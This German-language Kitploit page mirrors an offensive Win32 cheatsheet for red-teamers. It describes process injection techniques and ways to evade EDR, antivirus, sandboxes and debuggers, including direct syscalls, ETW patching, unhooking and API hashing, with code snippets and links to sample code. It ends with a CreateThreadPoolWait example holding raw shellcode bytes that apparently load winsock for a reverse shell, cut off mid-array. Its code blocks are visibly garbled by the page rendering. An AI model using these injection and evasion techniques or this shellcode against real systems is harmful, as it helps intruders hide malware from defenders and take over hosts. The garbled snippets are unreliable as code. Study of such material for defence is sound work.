Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Win32_Offensive_Cheatsheet — Win32- und Kernel-Missbrauchstechniken für Pentester | Kitploit
Tools/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
PersistenzmechanismenExploitationIDS/IPS-UmgehungReverse EngineeringPost-ExploitationPenetrationstestsBinäranalyseLernen & BildungRed Teaming

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Kuratierte Ressourcen
Payload-Entwicklung
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32- und Kernel-Missbrauchstechniken für Pentester

Repository anzeigen
9811365vor 3 JahrenVon Kitploit geprüft
Teilen

Win32 Offensive Cheatsheet

Techniken zum Missbrauch von Win32 und Kernel für Pentester & Red-Teamer, erstellt von @UVision und @RistBS

Dev-Modus aktiviert, offen für jede Hilfe :)

  • Windows-Binärdokumentation
    • PE-Struktur
    • PE-Header
    • PE parsen
    • Export Address Table (EAT)
    • Funktionsadresse auflösen
    • Import Address Table (IAT)
      • IAT parsen
    • Import Lookup Table (ILT)
    • SeDebug-Privileg aktivieren
  • Binärdateien ausführen
    • Klassische Shellcode-Ausführung
    • DLL ausführen
    • RAW-Datei in PE
  • Code-Injektionstechniken
    • CreateRemoteThread-Injektion
    • Process Hollowing
    • APC-Queue-Technik
    • Early Bird
    • Reflective DLL Injection
    • DLL-Injektion
    • Process Doppelganging
    • Fibers
    • CreateThreadPoolWait
    • Thread-Hijacking
  • MapView-Code-Injektion
  • Module Stomping
  • Function Stomping
  • Hooking-Techniken
    • Inline-Hooking
    • IAT-Hooking
  • RE-Bypass-Techniken
    • Call- und String-Verschleierung
    • Manuelles Auflösen von Funktionen
    • Win32-API-Hashing
  • EDR/Endpoint-Bypass
    • Direkter Syscall
    • Hochsprachen
    • Inline-Hooks patchen
    • Hooks erkennen
    • ETW patchen
    • Sandbox-Bypass
    • Debugging-Bypass
    • VirtualProtect-Technik
    • Unhooking mit frischer Kopie
    • Hell's Gate
    • Heaven's Gate
    • PPID-Spoofing
    • Process Instrumentation Callback
    • Heap-Verschlüsselung
    • Sleep-Verschleierung
  • Grundlagen der Treiberprogrammierung
    • Allgemeine Konzepte
    • System Service Dispatch Table (SSDT)
    • Treibereinstieg
    • Input/Output
    • Mit Treiber kommunizieren
    • Treibersignierung (Microsoft)
    • Benutzerdefinierte Callbacks (ObRegisterCallbacks)
  • Offensive Treiberprogrammierung
    • Kernel-Callback patchen
    • Geschützten Prozess patchen
  • Win32-API zur OPSEC-Steigerung nutzen
    • Persistenz
      • Geplante Aufgaben
    • Spoofing der Befehlszeile
  • Verschiedenes
    • x64-Aufrufkonvention
    • Indirekte Ausführung
      • CFG-Bypass mit SetProcessValidCallTargets

    • Malware/Anspruchsvolle Techniken
      • Fall Emotet: PPID-Spoofing mit WMI
      • Zeus-Malware-Technik für versteckte Dateien
      • SpyEye-Keylogger-Hooking-Technik
      • Lächerlichster Malware-Stopp (WannaCry)

    Windows-Binärdokumentation

    Nützliche Tools und Websites/Bücher/Cheatsheets

    • 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (Sehr gutes Cheatsheet)
    • 🔹 https://www.ired.team/ (Hervorragendes Red-Team-Cheatsheet mit großartigen Notizen zur Code-Injektion)
    • 🔹 https://undocumented.ntinternals.net/ (Undokumentierte NT-Funktionen)
    • 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (Offizielle Microsoft-Dokumentation)
    • 🔹 Windows Kernel Programming - Pavel Yosifovich
    • 🔹 https://research.checkpoint.com/ (Sehr interessante Dokumente zu Evasion, Anti-Debug und mehr)
    • 🔹 https://www.vx-underground.org/ (Hervorragender Inhalt zu Malware-Entwicklung und Reverse Engineering)

    PE-Struktur

    PE-Header

    • DOS_HEADER : Erster Header der PE, enthält die MS-DOS-Meldung („This programm cannot be run in DOS mode...."), MZ-Header (Magic Bytes zur Identifizierung der PE) sowie etwas Stub-Inhalt.
    • IMAGE_NT_HEADER : Enthält die PE-Dateisignatur, den Datei-Header und den optionalen Header
    • SECTION_TABLE : Enthält die Abschnittsheader
    • SECTIONS : Kein Header, aber nützlich zu wissen: Dies sind die Abschnitte der PE

    Details : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266

    PE parsen

    Einfaches PE-Parsing zur Ermittlung der absoluten IAT- und ILT-Adresse:

    • Basisadresse ermitteln : GetModuleHandleA(NULL);
    • PIMAGE_DOS_HEADER = Basisadresse, DOS-Header
    • PIMAGE_NT_HEADER = Basisadresse+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)
    • IMAGE_DATA_DIRECTORY = OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] von PIMAGE_NT_HEADER
    • IMAGE_IMPORT_DIRECTORY = IMAGE_DATA_DIRECTORY.VirtualAddress (RVA von IMAGE_IMPORT_DIRECTORY)
    • IMAGE_IMPORT_DESCRIPTOR = Basisadresse + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA von IMAGE_IMPORT_DESCRIPTOR)
    • Absolute IAT-Adresse : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA IAT) + Basisadresse
    • Absolute ILT-Adresse : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA ILT) + Basisadresse

    Export Address Table (EAT)

    Die EAT löst alle Funktionen auf, die von der PE exportiert werden, und löst auch DLLs auf. Sie ist in der IMAGE_EXPORT_DIRECTORY-Struktur definiert:```c
    typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // name of DLL DWORD Base; // first ordinal number DWORD NumberOfFunctions; // number of entries in EAT DWORD NumberOfNames; // number of entries in (1) (2) DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions DWORD AddressOfNames; // Pointer array contains address of function names DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

    root@kitploit:~
    Bitte beachten Sie, dass die EAT in einer DLL definiert ist, nicht in einer „echten“ PE (eine PE verwendet die EAT einer geladenen DLL, um Zeiger auf Funktionen aufzulösen, die sie verwenden möchte).
     
    ### Funktionsadresse auflösen
    
    **Mithilfe der Funktionsadresse**
     
    Worauf warten Sie? Finden Sie diese Funktion!
     
    **Mithilfe der Ordinalzahl**
     
    Eine Ordinalzahl ist eine **Indexposition** zur entsprechenden Funktionsadresse im `AddressOfFunctions`-Array. Sie kann verwendet werden, um **die korrekte Adresse der Funktion abzurufen**, wie unten:
     
     Lassen Sie uns versuchen, die entsprechende Adresse (Addr4) mit der gegebenen Ordinalzahl 3 zu finden.
     
     - **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
     - **AdressOfNameOrdinals** : *2 5 7 3 ... N*
     
     Die gesuchte Adresse befindet sich an 3. Stelle (ab 0), und unsere Ordinalzahl entspricht dem **Index dieser Adresse**.
     
     **Mithilfe des Funktionsnamens**
     
    Das N-te Element im AddressOfNames-Array entspricht dem N-ten Element im AddressOfNameOrdinals-Array: Mit einem gegebenen Namen können Sie die entsprechende Ordinalzahl abrufen und anschließend die Funktionsadresse mithilfe dieser Zahl finden.
    
    ## Import Address Table (IAT)
    
    - Der PE-Loader weiß nicht, welche Adresse zu welcher Funktion gehört: Rufen wir die IAT zu Hilfe.
    - Definiert in der IMAGE_IMPORT_DIRECTORY-Struktur:```c
    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        DWORD	Characteristics; 
        DWORD	OriginalFirstThunk;	// RVA to ILT
        DWORD	TimeDateStamp;	
        DWORD	ForwarderChain;
        DWORD	Name; 		        // RVA of imported DLL name
        DWORD	FirstThunk;             // RVA to IAT
    } IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
    

    Zusammenfassend ist die IAT eine Tabelle, die Zeiger auf mehrere Funktionen enthält, die von der PE aus geladenen DLLs (ntdll, kernel32...) importiert werden.

    IAT parsen

    1. RVA der IAT ermitteln
    2. Durch die IMPORT_DESCRIPTOR-Struktur parsen: Das Name-Member ist die RVA des Namens der aktuellen DLL
    3. Um den echten DLL-Namen zu erhalten: finde ihn in der ILT (originalFirstThunk+BaseAddress)
    4. Um exportierte Funktionen der aktuellen DLL zu erhalten: PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

    Detailliertes Codebeispiel hier : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

    Import-Lookup-Tabelle

    Jede von der PE importierte DLL hat eine eigene ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

    root@kitploit:~
    Es enthält die Namen aller Funktionen, die in der importierten DLL enthalten sind.
    
    <br>
    
    
    ## SeDebug-Privileg aktivieren
    
    Das **SeDebug**-Privileg ist das „meistgesuchte“ Privileg in der gesamten Windows-Privilegienliste. Es erlaubt Ihnen, jeden autorisierten Prozess zu „debuggen“, was sich in verschiedene offensive Aktionen übersetzen lässt, etwa das Öffnen eines Handles mit ```PROCESS_ALL_ACCESS```-Berechtigungen.
    
    Um es im Benutzermodus zu aktivieren, müssen Sie eine Funktion wie die folgende verwenden:```cpp
    void EnableDebugPriv()
    {
        HANDLE hToken;
        LUID luid;
        TOKEN_PRIVILEGES tkp;
    
        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = luid;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
        AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
    
        CloseHandle(hToken); 
    }
    

    Diese Funktion öffnet das Token Ihres aktuellen Prozesses und setzt es dann auf das SE_PRIVILEGE_ENABLED-Privileg, das dem Ziel-Privileg entspricht.

    Ein Binary ausführen

    Klassische Shellcode-Ausführung

    Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

    DLL-Ausführung

    Diese Technik hatte vor einigen Jahren gute Erfolgsraten bei Umgehungen; allerdings sollte das Schreiben auf die Festplatte angesichts der zunehmenden Anzahl von EDR- und anderen Endpoint-Lösungen nach Möglichkeit vermieden werden.

    Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

    Rohdatei zu PE

    Sie können eine rohe Binärdatei im Speicher ausführen, indem Sie den benötigten Speicherplatz in einer Speicherregion zuweisen :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();

    CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);

    root@kitploit:~
    <br>
    
    # Techniken zur Code-Injektion
    
    ## CreateRemoteThread-Injektion
    
    Schreibe deinen Shellcode einfach in einen zuvor im Zielprozess allokierten Speicherbereich. (Nicht OPSEC-sicher)
    
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
    
    ## Process Hollowing
    
    Process Hollowing wird in mehreren Schritten durchgeführt:
    
    - Erstelle den Zielprozess (den „ausgehöhlten“) im ausgesetzten Modus: Es ist notwendig, ihn zu modifizieren
    - Entferne die Abbildung des Zielprozesses aus seiner PEB (Du musst diese Struktur zuerst deklarieren)
    - Schreibe den Inhalt der neuen exe in diesen Prozess: Header + Inhalt
    - Analysiere und wende die Relocation-Tabelle an
    - Lasse den Prozess in seinem Thread weiterlaufen
    - Viel Spaß
    
    > Ein vollständiger POC ist hier zu finden: https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
    
    ## APC-Queue-Technik
    
    Schreibe deinen Shellcode in alle verfügbaren Threads eines Prozesses und verwende dann die Funktion ```QueueUserAPC()```, um einen APC-Aufruf auszulösen. Diese Technik kann unzuverlässig sein, wenn der kompromittierte Prozess nicht viele Threads hat.
    
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
    
    ## Early Bird
    
    Ähnlich wie bei der APC-Queue-Injektion muss der APC-Aufruf hier in einem ausgesetzten Prozess gesetzt werden. Der Hauptthread des erstellten Prozesses wird dann fortgesetzt; der Hauptvorteil dieser Technik besteht darin, dass der Shellcode nicht in einen laufenden Prozess geschrieben werden muss, was von AV/EDRs weniger erkannt wird.
    
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
    
    
    ## Reflektive DLL-Injektion
    
    Wie bei der „statischen“ DLL-Injektion (durch Verwendung einer DLL-Datei) kannst du deine eigene DLL in den meisten Prozessen injizieren, indem du sie im Speicher reflektierst. Sie hat den Vorteil, einige AV/EDR-Produkte leicht zu umgehen, auch wenn sie heute eine ziemlich auffällige Methode ist.
    
    Du musst zuerst Speicher allokieren und etwas Relocation-Arbeit leisten, damit es funktioniert.
    
    Der bekannte POC zu dieser Technik wurde von stephenfewer veröffentlicht: https://github.com/stephenfewer/ReflectiveDLLInjection
    
    ## DLL-Injektion
    
    Du kannst Code, der in einer DLL gespeichert ist, in einen entfernten Prozess injizieren. Leider werden EDR-Produkte dies wahrscheinlich leicht erkennen, insbesondere wenn die bösartige DLL die Festplatte berührt.
    
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
    
    ## Process Doppelganging
    
    Process Doppelganging war bis vor einigen Jahren eine unentdeckte Methode, um deine eigene Payload auf eine trickreiche Weise zu starten. Es wurde auf der BlackHat 2017 von Tal Liberman und Eugene Kogan demonstriert, sieh dir ihre beeindruckende Arbeit an: https://www.youtube.com/watch?v=Cch8dvp836w
    
    Es ist ein „Zwischenschritt“ vor der Process-Hollowing-Technik: Das PE-Image wird tatsächlich überschrieben, bevor es ausgeführt wird, sodass der WindowsLoader das Process Hollowing für uns erledigt (ziemlich cool, oder?).
    
    Hasherezade hat einige coole POCs zu dieser Technik erstellt, verfügbar hier: https://github.com/hasherezade/process_doppelganging
    
    ## Fibers
    
    Fibers können definiert werden als ```cooperatively 
    threads (https://nullprogram.com/blog/2019/03/28/)```. Sie erlaubt es dem Hauptprogramm, den Shellcode über diesen neuen Thread-Typ auszuführen.
    
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
    
    
    ## MapView-Code-Injektion
    
    Diese Technik erlaubt es dir, eine Sicht auf eine Speicher-Section in deinem bösartigen Prozess mit einem anderen entfernten Prozess zu teilen, der deinen in dieser Sicht gespeicherten Shellcode ausführt. Dies kann mithilfe von NtCreateSection/NtMapViewOfSection erfolgen, wodurch du stark überwachte Prozeduren wie WriteProcessMemory() oder VirtualAlloc() vermeiden kannst (allerdings kann auch NtMapViewOfSection überwacht werden).
    
    Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
    
    
    
    ## Module Stomping
    
    Diese Technik bewirkt, dass dein Beacon durch ein Modul auf der Festplatte hinterlegt wird.```c
    CHAR moduleName[]  = "windows.storage.dll\x00";
    HMODULE hVictimLib = LoadLibraryA(moduleName);
    
    DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
    RXSection 	   += 0x1000 * 0x2;
    RXSection  	   += 0xc;
    char* ptr 	    = ( char* )RXSection;
    

    Um Module Stomping zu erkennen (insbesondere bei Cobalt Strike), wurde ein Scanner namens DetectCobaltStomp veröffentlicht, um einige IoCs der Technik hervorzuheben, aber der Autor von Brute Ratel konnte die ursprüngliche Technik verbessern.

    Function Stomping

    Ersetzen Sie einfach die ursprüngliche Funktionsadresse (erhalten mit GetProcAddress) durch die neue. Diese Technik wird von seinem Autor ausführlich beschrieben: https://idov31.github.io/2022-01-28-function-stomping/


    Hooking-Techniken

    Inline hooking

    Inline hooking ist die grundlegendste Methode, eine Funktion zu hooken: Es besteht einfach darin, den API-Aufruf auf die eigene Funktion umzuleiten (jump).

    Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

    IAT hooking

    Indem Sie die entsprechende Funktionsadresse in einen Pointer auf Ihre eigene Funktion ändern, können Sie das Programm dazu bringen, Ihren eigenen Code auszuführen.

    Dies kann in mehreren Schritten erfolgen:

    • Finden Sie die relative Adresse der IAT
    • Analysieren Sie die IAT, um die Funktion zu finden, die Sie hooken möchten
    • Ersetzen Sie diese Funktionsadresse ("patch") durch die Adresse Ihrer Funktion
    • Viel Spaß

    Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp


    RE-Bypass-Techniken

    Aufruf- und String-Verschleierung

    Es gibt mehrere Techniken, mit denen Sie Ihre Aufrufe an die Win32-API verbergen können. Hier sind einige davon:

    • Verwenden Sie ein char[]-Array, um Ihre Funktions- und DLL-Namen in mehrere Zeichen zu zerlegen```cpp char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte
    root@kitploit:~
    > Sie können diesen Trick sogar mit einer Umwandlung von ASCII-Zeichencodes kombinieren.
    
    ## Manuelle Funktionsauflösung
    
    Sie können manuell einen Zeiger auf eine beliebige Funktion von kernel32, ntdll und vielem mehr auflösen.
    
    - Deklarieren Sie zuerst die Vorlage Ihrer Funktion, basierend auf dem tatsächlichen Funktionsheader :```cpp
    typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
    
    • Dann löse einen Zeiger auf die Funktion auf :```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);
    root@kitploit:~
    > Zögern Sie nicht, diese Technik mit einer gewissen String-Verschleierung zu kombinieren, um den echten Funktionsnamen nicht im Klartext zu übergeben.
    
    ## Win32-API-Hashing
    
    Sie können Ihre API-Funktionsaufrufe verbergen, indem Sie sie mit einem Hash-Algorithmus hashen (djb2 ist der am häufigsten verwendete). Seien Sie sich möglicher Hash-Kollisionen bewusst, die bei einigen speziellen Funktionen auftreten können. Kombinieren Sie diese Technik dann mit einer direkten Adressauflösung in der EAT und lassen Sie die Reverser weinen :)
    
    <br>
    
    # EDR/Endpoint-Bypass
    
    
    ## Direkter Syscall
    
    Die meisten EDR-Produkte hooken Win32-API-Aufrufe im Benutzermodus (PatchGuard reduziert die Verfügbarkeit von Kernel-Hooks erheblich). Um diese Hooks zu umgehen, können Sie direkt die Nt()-Äquivalente Ihrer API-Funktionen aufrufen.
    
    -```asm
    .code
    	SysNtCreateFile proc
    			mov r10, rcx //syscall convention
    			mov eax, 55h //syscall number : in this case it's NtCreateFile
    			syscall //call nt function
    			ret
    	SysNtCreateFile endp
    end
    

    Finde die richtige Syscall-Nummer in dieser Tabelle : https://j00ru.vexillium.org/syscalls/nt/64/

    • Erstelle den Funktionsprototyp mithilfe von `NTSTATUS````cpp EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
    root@kitploit:~
    - Die NT-Adresse auflösen```cpp
    FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
    

    Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

    Hochsprachen

    C++/C werden von AV/EDR-Produkten häufiger erkannt als gleichwertige Hochsprachen: Verwende Go, Rust oder eine andere Sprache, um deine besten Templates zu erstellen,

    Inline-Hooking patchen

    Hooke deine gehookten Funktionen einfach (erneut), indem du den richtigen Funktionsaufruf anwendest: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

    Hooks erkennen

    Um Hooks zu erkennen, musst du zuerst die Basisadresse der NTDLL mit LoadLibrary abrufen. Danach analysierst du die PE-Header, um den EAT (IMAGE_EXPORT_DIRECTORY) und seine Offsets zu lokalisieren, die alle wichtigen Informationen enthalten (exportierte Funktionen + Name). Löse einfach die Funktionsnamen und -adressen auf, während du durch die exportierten Funktionen iterierst, und wende die folgenden if-Anweisungen an, um Funktionen zu sortieren

    • sortiere Funktionen, um nur Nt- oder Zw-Funktionen zu erhalten```c if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }
    root@kitploit:~
    > **⚠️** : einige Funktionen sind False Positives, ich empfehle dir, sie zu erkennen :```c
            if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
                 strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
                  strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
                   strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                    strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                     strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                      strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
    
    • Überprüfe bei der letzten if-Anweisung, ob die ersten 4 Bytes von functionName gleich mov r10, rcx; mov eax, ## sind, was der Anfang des Syscall-Stubs ist.```c if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }
    root@kitploit:~
    > Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
    
    
    ## ETW patchen
    
    Event Tracing for Windows (ETW) ist eine Low-Level-API zur Protokollierung, die zum Debuggen/Protokollieren von Kernel- und Usermode-Prozessen verwendet werden kann. Sie wurde erstmals in Windows 2000 implementiert, aber die Echtzeit-Überwachung ist erst seit Windows XP wirklich verfügbar.
    
    Die ETW-API ist über Header-Dateien verfügbar, die von Microsoft bereitgestellt werden: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
    
    Bei einem Pentest solltest du dich um diese Funktionalität kümmern, indem du sie patcht: Der üblichste Weg ist, beliebige ```ret```-Opcodes in die ETW-Ereignisschreibfunktion (```EtwEventWrite```) zu schreiben, um zu verhindern, dass Logs irgendwo geschrieben werden.
    
    Codebeispiel: //
    
    ## Sandbox-Umgehung
    
    Sandboxen werden von AV/EDRs häufig verwendet, um einige API-Aufrufe und andere Teile des Codes zu testen, bevor dein Programm tatsächlich ausgeführt wird. Es gibt verschiedene Techniken, um dieses Tool zu umgehen. Hier sind einige davon:
    
    - Warte. Ernsthaft. Eine Funktion wie `Sleep()` oder `time.sleep()` oder ein Äquivalent erledigt das für ein paar Sekunden, bevor der eigentliche Shellcode ausgeführt wird.
    - Versuche, viel Speicher zu allokieren (malloc), zum Beispiel 100000000 Bytes.
    - Versuche zu erkennen, ob du dich tatsächlich in einer Sandbox-(VM-)Umgebung befindest: teste auf offene Prozesse, Dateien und andere verdächtige Dinge.
    - Versuche, eine gefälschte (nicht funktionierende) URL aufzulösen: Viele AV-Produkte antworten mit einer gefälschten Seite.
    - Verwende ungewöhnliche und selten genutzte API-Aufrufe, wie `VirtualAllocExNuma()` – die meisten Sandboxen können diese Art von Aufruf nicht emulieren.```cpp
    IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
    

    Debugging-Umgehung

    Keine echte AV-Umgehungstechnik, aber dennoch nützlich, um nicht zu leicht von RE-Ingenieuren zurückentwickelt zu werden. Es gibt so viele Möglichkeiten, Debugger zu erkennen oder sie verrückt zu machen, aber hier sind einige davon unten:

    Flags-Methode

    Du kannst IsDebuggerPresent() (Win32) oder den direkten Aufruf NtQueryInformationProcess() (nicht sehr gut dokumentiert) verwenden, um nach Debug-Flags zu suchen.

    Handles-Methode

    Versuche, ungültige (fehlende) Handles mit der CloseHandle()-API zu schließen. Der Debugger wird versuchen, die Ausnahme abzufangen, was leicht erkannt werden kann:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }

    root@kitploit:~
    **ASM-Methode**
    
    Versuchen Sie, einen INT 3-Aufruf (ASM) durchzuführen : er entspricht einem Software-Breakpoint, der einen Debugger auslöst. Es gibt viele andere Möglichkeiten, einen Debugger zu erkennen, von denen viele unter : https://anti-debug.checkpoint.com/ zusammengestellt sind.
    
    ## VirtualProtect-Technik
    
    Mit ein paar Tricks bei `VirtualProtect()` können Sie leicht vermeiden, im Speicher erkannt zu werden : wechseln Sie zwischen `PAGE_EXECUTE_READWRITE` und `PAGE_READWRITE` (weniger verdächtig), um Ihr bevorzugtes AV nicht auszulösen.
    
    
    ## Fresh Copy Unhook
    
    Vermeiden Sie Hooks, indem Sie die "gehookte" ntdll durch eine frische ersetzen, die direkt von der Festplatte gemappt wird.
    
    Codebeispiel : // to add
    
    ## Hells Gate
    
    Um hartcodierte Syscalls zu vermeiden, ruft Hell's Gate (Hells Gates ?) sie dynamisch ab, indem es die EAT parst (Speicherbytes mit Syscall-Opcodes vergleicht). Das ursprüngliche Poc wurde vom großartigen VX-Underground-Team erstellt und kann hier gefunden werden : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
    
    Ein weiteres Beispiel : https://github.com/am0nsec/HellsGate
    
    ## Heavens Gate
    
    Nutzen Sie Wow64, um ein 64-Bit-Payload in einen 32-Bit-Loader zu injizieren. Das kann nützlich sein, um einige AV/EDRs zu umgehen, da Wow64 verhindert, dass Sie im Userland erwischt werden.
    
    Die bekannteste Version dieser Technik wurde vom MSF-Team erstellt, sehen Sie sich ihre großartige Arbeit hier an : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
    
    ## CreateThreadPoolWait
    
    Durch den Missbrauch von CreateThreadPoolWait(), das einen Zeiger auf eine Callback-Funktion akzeptieren kann, können Sie Ihren Shellcode über diese Prozedur ausführen. Viele ähnliche Techniken (unter Verwendung eines Callback-Funktionszeigers) sind verfügbar unter : http://ropgadget.com/posts/abusing_win_functions.html
    
    Beispiel :```cpp
    //code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
    
    #include <windows.h>
    #include <threadpoolapiset.h>
    
    unsigned char shellcode[] = 
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
    "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
